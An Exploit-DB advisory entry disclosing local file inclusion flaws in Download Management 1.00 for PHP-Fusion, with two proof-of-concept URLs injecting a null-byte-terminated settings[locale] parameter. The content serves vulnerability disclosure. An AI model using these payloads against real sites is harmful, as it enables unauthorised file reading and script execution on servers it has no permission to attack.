Download Management 1.00 for PHP-Fusion - Multiple Local File Inclusions

EDB-ID:

31111

CVE:



Author:

Psiczn

Type:

webapps


Platform:

PHP

Date:

2008-02-05


Become a Certified Penetration Tester

Enroll in Advanced Web Attacks and Exploitation , the course required to become an Offensive Security Web Expert (OSWE)

GET CERTIFIED

source: https://www.securityfocus.com/bid/27618/info

Download Management for PHP-Fusion is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues may allow an attacker to access potentially sensitive information and execute arbitrary local scripts in the context of the affected application.

These issues affect Download Management 1.00; other versions may also be vulnerable. 

http://example.com/infusions/download_management/infusion.php?settings[locale]=LFI%00
http://example.com/infusions/download_management/download_management.php?settings[locale]=LFI%00